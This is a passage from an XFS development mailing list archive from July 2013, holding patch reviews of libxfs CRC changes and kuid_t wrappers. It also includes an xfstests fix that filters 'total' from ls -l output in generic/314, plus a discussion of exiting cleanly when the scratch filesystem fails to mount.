(Postfix) with ESMTP id 29D9329E11 for ; Fri, 26 Jul 2013 10:22:27 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9E917AC001; Fri, 26 Jul 2013 08:22:26 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 3AC204266DC; Fri, 26 Jul 2013 10:22:26 -0500 (CDT) Date: Fri, 26 Jul 2013 10:22:26 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 03/48] libxfs: add crc format changes to generic btrees Message-ID: <20130726152226.GJ3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-4-git-send-email-david@fromorbit.com> <20130723182648.GI3111@sgi.com> <20130725004821.GC11222@dastard> <20130725171509.GZ3111@sgi.com> <20130726003953.GA21982@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130726003953.GA21982@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) Dave, On Fri, Jul 26, 2013 at 10:39:53AM +1000, Dave Chinner wrote: > On Thu, Jul 25, 2013 at 12:15:09PM -0500, Ben Myers wrote: > > On Thu, Jul 25, 2013 at 10:48:21AM +1000, Dave Chinner wrote: > > > On Tue, Jul 23, 2013 at 01:26:48PM -0500, Ben Myers wrote: > > > > On Fri, Jun 07, 2013 at 10:25:26AM +1000, Dave Chinner wrote: > > > > > From: Dave Chinner > > > > > > > > > > Signed-off-by: Dave Chinner > > > > > > > > This patch mostly corresponds to commit ee1a47ab0e, and in some areas it is > > > > equivalent but slightly different. There are some other things in here too: > > > > > > > > * Addition of XFS_BUF_DADDR_NULL > > > > * rename of b_blkno to b_bn in struct xfs_buf > > > > * rename of b_fsprivate to b_fspriv in struct xfs_buf > > > > * addition of uuid_copy and uuid_equal, and libuuid to build > > > > > > > > It all looks fine to me, except as below: > > > > > > I think you'll find they are fixed up in later patches in the > > > series. > > > > > > Indeed, I think it's a little late to asking for these patches to be > > > changed, considering that making significant changes to these first > > > few patches will mean that I have to rebase a 100 or so subsequent > > > patches. > > > > You are mistaken... > > Mistaken about what, exactly? You are mistaken to assume that I will not require changes be made to patches at the beginning of your series regardless of the quantity of work you have on top. Pulling these into crc-dev without review did not imply that these patches are set in concrete. Having said that, I'm not doing these reviews to make your life difficult. Unless we find something egregious (such as the mismatched commit message in patch 7), I have no objection to taking the approach that minor issues can be fixed at the end of the series. -Ben From dwight.engen@oracle.com Fri Jul 26 10:26:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3A0E329E11 for ; Fri, 26 Jul 2013 10:26:08 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2852E30405F for ; Fri, 26 Jul 2013 08:26:08 -0700 (PDT) X-ASG-Debug-ID: 1374852366-04cbb02c3bc7ad0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id zvAODI1ByfTbJIfY (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 26 Jul 2013 08:26:07 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6QFQ4q2028642 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 26 Jul 2013 15:26:05 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6QFQ3dP013831 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 26 Jul 2013 15:26:04 GMT Received: from abhmt112.oracle.com (abhmt112.oracle.com [141.146.116.64]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6QFQ37O027830; Fri, 26 Jul 2013 15:26:03 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 26 Jul 2013 08:26:03 -0700 Date: Fri, 26 Jul 2013 11:25:59 -0400 From: Dwight Engen To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH v6 1/7] xfs: create wrappers for converting kuid_t to/from uid_t Message-ID: <20130726112559.459d3ed0@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v6 1/7] xfs: create wrappers for converting kuid_t to/from uid_t In-Reply-To: <20130726004211.GB21982@dastard> References: <20130725114921.0d860cc4@oracle.com> <20130726004211.GB21982@dastard> Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1374852367 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137327 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Fri, 26 Jul 2013 10:42:11 +1000 Dave Chinner wrote: > On Thu, Jul 25, 2013 at 11:49:21AM -0400, Dwight Engen wrote: > > Signed-off-by: Dwight Engen > > Dwight, can you add the reviewed-by tags people have sent to the > commit messages? Sure can, sorry I didn't realize I was supposed to carry those but it makes total sense. > When you repost a patch series, that's a reminder to everyone who > has already looked at this code. It's also a reminder to the > reviewers of where in the patch set they need to concentrate new > reviews... > > Cheers, > > Dave. From tinguely@sgi.com Fri Jul 26 10:32:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 29BA829E11 for ; Fri, 26 Jul 2013 10:32:28 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id EDB188F8040; Fri, 26 Jul 2013 08:32:27 -0700 (PDT) Message-ID: <51F2968B.8030208@sgi.com> Date: Fri, 26 Jul 2013 10:32:27 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 28/49] xfs: don't special case shared superblock mounts References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-29-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-29-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:24, Dave Chinner wrote: > From: Dave Chinner > > Neither kernel or userspace support shared read-only mounts, so > don't beother special casing the support check to be different > between kernel and userspace. The same check canbe used as neither > like it... > > Signed-off-by: Dave Chinner > --- looks good, in any case the check will fail. Reviewed-by: Mark Tinguely From JBacik@fusionio.com Fri Jul 26 10:45:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5121D29E11 for ; Fri, 26 Jul 2013 10:45:37 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D06C6AC003 for ; Fri, 26 Jul 2013 08:45:36 -0700 (PDT) X-ASG-Debug-ID: 1374853535-04cb6c2e9dca580001-NocioJ Received: from dkim1.fusionio.com (dkim1.fusionio.com [66.114.96.53]) by cuda.sgi.com with ESMTP id SYp8RdpON8w8fqoB (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 26 Jul 2013 08:45:35 -0700 (PDT) X-Barracuda-Envelope-From: JBacik@fusionio.com X-Barracuda-Apparent-Source-IP: 66.114.96.53 Received: from mx1.fusionio.com (unknown [10.101.1.160]) by dkim1.fusionio.com (Postfix) with ESMTP id E9B1B7C0427 for ; Fri, 26 Jul 2013 09:45:34 -0600 (MDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fusionio.com; s=default; t=1374853534; bh=seOkyr22vrGf+28faSudHcOM3MfWKZC7iTqZLQfqqT4=; h=From:To:Subject:Date; b=cWhU6+YxZGVLCuj9CWLUl8rC+uKLTCvjuIi9BYGTpmnbuiGkzC0AVPuGfl0cl+kWI Rrf/80g34An7KEC+uihh2kGoJ+1Vy6o4Q1qbsz4Y/jl0v/OJh3kzJhznM5FZKV/qVG Ej9I2p2OXp5peut/lgISk8wWmis0sGQ58eBNiW2U= Received: from CAS1.int.fusionio.com (cas1.int.fusionio.com [10.101.1.40]) by mx1.fusionio.com with ESMTP id cl8MU6XdZr9ZGETe (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Fri, 26 Jul 2013 09:45:34 -0600 (MDT) Received: from localhost (10.101.1.160) by mail.fusionio.com (10.101.1.40) with Microsoft SMTP Server (TLS) id 14.3.123.3; Fri, 26 Jul 2013 09:45:33 -0600 From: Josef Bacik To: , Subject: [PATCH] xfstests: generic/314 filter out total from ls -l output Date: Fri, 26 Jul 2013 11:45:32 -0400 X-ASG-Orig-Subj: [PATCH] xfstests: generic/314 filter out total from ls -l output Message-ID: <1374853532-19253-1-git-send-email-jbacik@fusionio.com> X-Mailer: git-send-email 1.7.7.6 MIME-Version: 1.0 Content-Type: text/plain X-Originating-IP: [10.101.1.160] X-Virus-Scanned: by bsmtpd at fusionio.com X-Barracuda-Connect: dkim1.fusionio.com[66.114.96.53] X-Barracuda-Start-Time: 1374853535 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137327 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature ls -l will show the nblocks for the directory, and this made it into the golden output for 314. The problem is nblocks is 0 for btrfs directories because we're awesome, which makes us fail this test. So filter out the "total blah" line of ls -l so btrfs can pass this test too. Thanks, Signed-off-by: Josef Bacik --- tests/generic/314 | 2 +- tests/generic/314.out | 1 - 2 files changed, 1 insertions(+), 2 deletions(-) diff --git a/tests/generic/314 b/tests/generic/314 index 2d34ea8..0dd98a3 100644 --- a/tests/generic/314 +++ b/tests/generic/314 @@ -62,7 +62,7 @@ su $qa_user -c "setfacl -m u:$qa_user:rwx,d:u:$qa_user:rwx $TEST_DIR/$seq-dir" su $qa_user -c "mkdir $TEST_DIR/$seq-dir/subdir2" # Both subdirs should have inherited sgid -_ls_l $TEST_DIR/$seq-dir/ | _filter_test_dir | awk '{print $1,$NF}' +_ls_l $TEST_DIR/$seq-dir/ | grep -v total | _filter_test_dir | awk '{print $1,$NF}' status=0 exit diff --git a/tests/generic/314.out b/tests/generic/314.out index 180be80..b2db82b 100644 --- a/tests/generic/314.out +++ b/tests/generic/314.out @@ -1,4 +1,3 @@ QA output created by 314 -total 4 drwxr-sr-x subdir drwxrwsr-x+ subdir2 -- 1.7.7.6 From sandeen@sandeen.net Fri Jul 26 10:58:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 19D2B29E1D for ; Fri, 26 Jul 2013 10:58:10 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id A68B5AC001 for ; Fri, 26 Jul 2013 08:58:09 -0700 (PDT) X-ASG-Debug-ID: 1374854288-04cbb02c3cc9dc0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id gFH0PbWV7kehZmDP for ; Fri, 26 Jul 2013 08:58:08 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 7B0C7617E29A; Fri, 26 Jul 2013 10:58:07 -0500 (CDT) Message-ID: <51F29C8E.2070102@sandeen.net> Date: Fri, 26 Jul 2013 10:58:06 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Josef Bacik CC: linux-btrfs@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: generic/314 filter out total from ls -l output References: <1374853532-19253-1-git-send-email-jbacik@fusionio.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: generic/314 filter out total from ls -l output In-Reply-To: <1374853532-19253-1-git-send-email-jbacik@fusionio.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1374854288 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137327 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On 7/26/13 10:45 AM, Josef Bacik wrote: > ls -l will show the nblocks for the directory, and this made it into the golden > output for 314. The problem is nblocks is 0 for btrfs directories because we're > awesome, which makes us fail this test. So filter out the "total blah" line of > ls -l so btrfs can pass this test too. Thanks, > > Signed-off-by: Josef Bacik I don't know for sure that that makes brtfs awesome ;), but its' not what we're testing here, so ignoring it seems reasonable. Reviewed-by: Eric Sandeen > --- > tests/generic/314 | 2 +- > tests/generic/314.out | 1 - > 2 files changed, 1 insertions(+), 2 deletions(-) > > diff --git a/tests/generic/314 b/tests/generic/314 > index 2d34ea8..0dd98a3 100644 > --- a/tests/generic/314 > +++ b/tests/generic/314 > @@ -62,7 +62,7 @@ su $qa_user -c "setfacl -m u:$qa_user:rwx,d:u:$qa_user:rwx $TEST_DIR/$seq-dir" > su $qa_user -c "mkdir $TEST_DIR/$seq-dir/subdir2" > > # Both subdirs should have inherited sgid > -_ls_l $TEST_DIR/$seq-dir/ | _filter_test_dir | awk '{print $1,$NF}' > +_ls_l $TEST_DIR/$seq-dir/ | grep -v total | _filter_test_dir | awk '{print $1,$NF}' > > status=0 > exit > diff --git a/tests/generic/314.out b/tests/generic/314.out > index 180be80..b2db82b 100644 > --- a/tests/generic/314.out > +++ b/tests/generic/314.out > @@ -1,4 +1,3 @@ > QA output created by 314 > -total 4 > drwxr-sr-x subdir > drwxrwsr-x+ subdir2 > From bpm@sgi.com Fri Jul 26 11:12:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E5A8A29E1D for ; Fri, 26 Jul 2013 11:12:38 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id C182B30407A; Fri, 26 Jul 2013 09:12:35 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 533434266DC; Fri, 26 Jul 2013 11:12:35 -0500 (CDT) Date: Fri, 26 Jul 2013 11:12:35 -0500 From: Ben Myers To: Josef Bacik Cc: xfs@oss.sgi.com, linxu-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: exit out if _scratch_mount fails Message-ID: <20130726161235.GK3111@sgi.com> References: <1373396847-7975-1-git-send-email-jbacik@fusionio.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373396847-7975-1-git-send-email-jbacik@fusionio.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Josef, On Tue, Jul 09, 2013 at 03:07:27PM -0400, Josef Bacik wrote: > I test some of the different mkfs options for btrfs, one set doesn't work > properly with small file systems, so the fs won't mount. This is fine from a > btrfs point of view, but tests that fail to mount the scratch fs will run > anyway, so if it's a "fill the fs" sort of test this will wreak havoc. To fix > this just error out of _scratch_mount fails. Thanks, > > Signed-off-by: Josef Bacik I noticed that this change causes dmapi tests to try to be run on systems that don't have dmapi supported, and they fail. Have you seen this? Thanks, Ben From sandeen@sandeen.net Fri Jul 26 11:15:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 96A4B29E1D for ; Fri, 26 Jul 2013 11:15:19 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 85FF78F8035 for ; Fri, 26 Jul 2013 09:15:16 -0700 (PDT) X-ASG-Debug-ID: 1374855315-04cb6c153dc86f0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id SnCW35ICp2DapsUf for ; Fri, 26 Jul 2013 09:15:15 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id E62F0617E29A; Fri, 26 Jul 2013 11:15:14 -0500 (CDT) Message-ID: <51F2A091.3010407@sandeen.net> Date: Fri, 26 Jul 2013 11:15:13 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Ben Myers CC: Josef Bacik , linxu-btrfs@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: exit out if _scratch_mount fails References: <1373396847-7975-1-git-send-email-jbacik@fusionio.com> <20130726161235.GK3111@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: exit out if _scratch_mount fails In-Reply-To: <20130726161235.GK3111@sgi.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1374855315 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137327 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 7/26/13 11:12 AM, Ben Myers wrote: > Hey Josef, > > On Tue, Jul 09, 2013 at 03:07:27PM -0400, Josef Bacik wrote: >> I test some of the different mkfs options for btrfs, one set doesn't work >> properly with small file systems, so the fs won't mount. This is fine from a >> btrfs point of view, but tests that fail to mount the scratch fs will run >> anyway, so if it's a "fill the fs" sort of test this will wreak havoc. To fix >> this just error out of _scratch_mount fails. Thanks, >> >> Signed-off-by: Josef Bacik > > I noticed that this change causes dmapi tests to try to be run on systems that > don't have dmapi supported, and they fail. Have you seen this? > > Thanks, > Ben I haven't tested either way, but does: _mount -t $FSTYP `_scratch_mount_options $*` || _fail "Scratch mount failed" work any better? -Eric From JBacik@fusionio.com Fri Jul 26 11:26:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A070C29E1D for ; Fri, 26 Jul 2013 11:26:03 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6A2168F8035 for ; Fri, 26 Jul 2013 09:26:03 -0700 (PDT) X-ASG-Debug-ID: 1374855962-04bdf02f23d8480001-NocioJ Received: from dkim1.fusionio.com (dkim1.fusionio.com [66.114.96.53]) by cuda.sgi.com with ESMTP id xSp5KBBhgThLxKsu (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 26 Jul 2013 09:26:02 -0700 (PDT) X-Barracuda-Envelope-From: JBacik@fusionio.com X-Barracuda-Apparent-Source-IP: 66.114.96.53 Received: from mx2.fusionio.com (unknown [10.101.1.160]) by dkim1.fusionio.com (Postfix) with ESMTP id F015E7C069D for ; Fri, 26 Jul 2013 10:26:01 -0600 (MDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fusionio.com; s=default; t=1374855962; bh=3tx0b7szsSYte7dPpqaFa/nWDjd3+C3qm7oFGfNbp2A=; h=Date:From:To:CC:Subject:References:In-Reply-To; b=Gx+dhXrA29KGe939Fo04EMHACDyXw65RUcDw6cIFkNu/55HX+bXkDrZosWaSnW6y3 j5nhvSph9ja5Z7/fxFQnNCII5chf/YeVSp8SMVcVE6YUXWkSZAZEf+8y6ygs5LNnrF HHzuSc0XgPSYSfQkhD7ip6IUwIWclXM7KlKHvUJc= Received: from CAS2.int.fusionio.com (cas2.int.fusionio.com [10.101.1.41]) by mx2.fusionio.com with ESMTP id urDJa7t7WvjO2WPe (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Fri, 26 Jul 2013 10:25:59 -0600 (MDT) Received: from localhost (10.101.1.160) by mail.fusionio.com (10.101.1.41) with Microsoft SMTP Server (TLS) id 14.3.123.3; Fri, 26 Jul 2013 10:25:59 -0600 Date: Fri, 26 Jul 2013 12:25:58 -0400 From: Josef Bacik To: Eric Sandeen CC: Ben Myers , Josef Bacik , , Subject: Re: [PATCH] xfstests: exit out if _scratch_mount fails Message-ID: <20130726162558.GB24583@localhost.localdomain> X-ASG-Orig-Subj: Re: [PATCH] xfstests: exit out if _scratch_mount fails References: <1373396847-7975-1-git-send-email-jbacik@fusionio.com> <20130726161235.GK3111@sgi.com> <51F2A091.3010407@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Disposition: inline In-Reply-To: <51F2A091.3010407@sandeen.net> User-Agent: Mutt/1.5.21 (2011-07-01) X-Originating-IP: [10.101.1.160] X-Virus-Scanned: by bsmtpd at fusionio.com X-Barracuda-Connect: dkim1.fusionio.com[66.114.96.53] X-Barracuda-Start-Time: 1374855962 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137327 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Fri, Jul 26, 2013 at 11:15:13AM -0500, Eric Sandeen wrote: > On 7/26/13 11:12 AM, Ben Myers wrote: > > Hey Josef, > > > > On Tue, Jul 09, 2013 at 03:07:27PM -0400, Josef Bacik wrote: > >> I test some of the different mkfs options for btrfs, one set doesn't work > >> properly with small file systems, so the fs won't mount. This is fine from a > >> btrfs point of view, but tests that fail to mount the scratch fs will run > >> anyway, so if it's a "fill the fs" sort of test this will wreak havoc. To fix > >> this just error out of _scratch_mount fails. Thanks, > >> > >> Signed-off-by: Josef Bacik > > > > I noticed that this change causes dmapi tests to try to be run on systems that > > don't have dmapi supported, and they fail. Have you seen this? > > > > Thanks, > > Ben > > I haven't tested either way, but does: > > _mount -t $FSTYP `_scratch_mount_options $*` || _fail "Scratch mount failed" > > work any better? Well thats cleaner but I'm not sure why this patch is making that happen. I don't have dmapi on my main box (at least afaik) and I've not had that sort of issue running with this patch. Thanks, Josef From bpm@sgi.com Fri Jul 26 11:33:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A2A1429E1D for ; Fri, 26 Jul 2013 11:33:52 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5B4FB304032; Fri, 26 Jul 2013 09:33:52 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 3A7C04266DC; Fri, 26 Jul 2013 11:33:52 -0500 (CDT) Date: Fri, 26 Jul 2013 11:33:52 -0500 From: Ben Myers To: Eric Sandeen , Josef Bacik Cc: linxu-btrfs@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: exit out if _scratch_mount fails Message-ID: <20130726163352.GL1681@sgi.com> References: <1373396847-7975-1-git-send-email-jbacik@fusionio.com> <20130726161235.GK3111@sgi.com> <51F2A091.3010407@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51F2A091.3010407@sandeen.net> User-Agent: Mutt/1.5.20 (2009-06-14) Josef, Eric, On Fri, Jul 26, 2013 at 11:15:13AM -0500, Eric Sandeen wrote: > On 7/26/13 11:12 AM, Ben Myers wrote: > > Hey Josef, > > > > On Tue, Jul 09, 2013 at 03:07:27PM -0400, Josef Bacik wrote: > >> I test some of the different mkfs options for btrfs, one set doesn't work > >> properly with small file systems, so the fs won't mount. This is fine from a > >> btrfs point of view, but tests that fail to mount the scratch fs will run > >> anyway, so if it's a "fill the fs" sort of test this will wreak havoc. To fix > >> this just error out of _scratch_mount fails. Thanks, > >> > >> Signed-off-by: Josef Bacik > > > 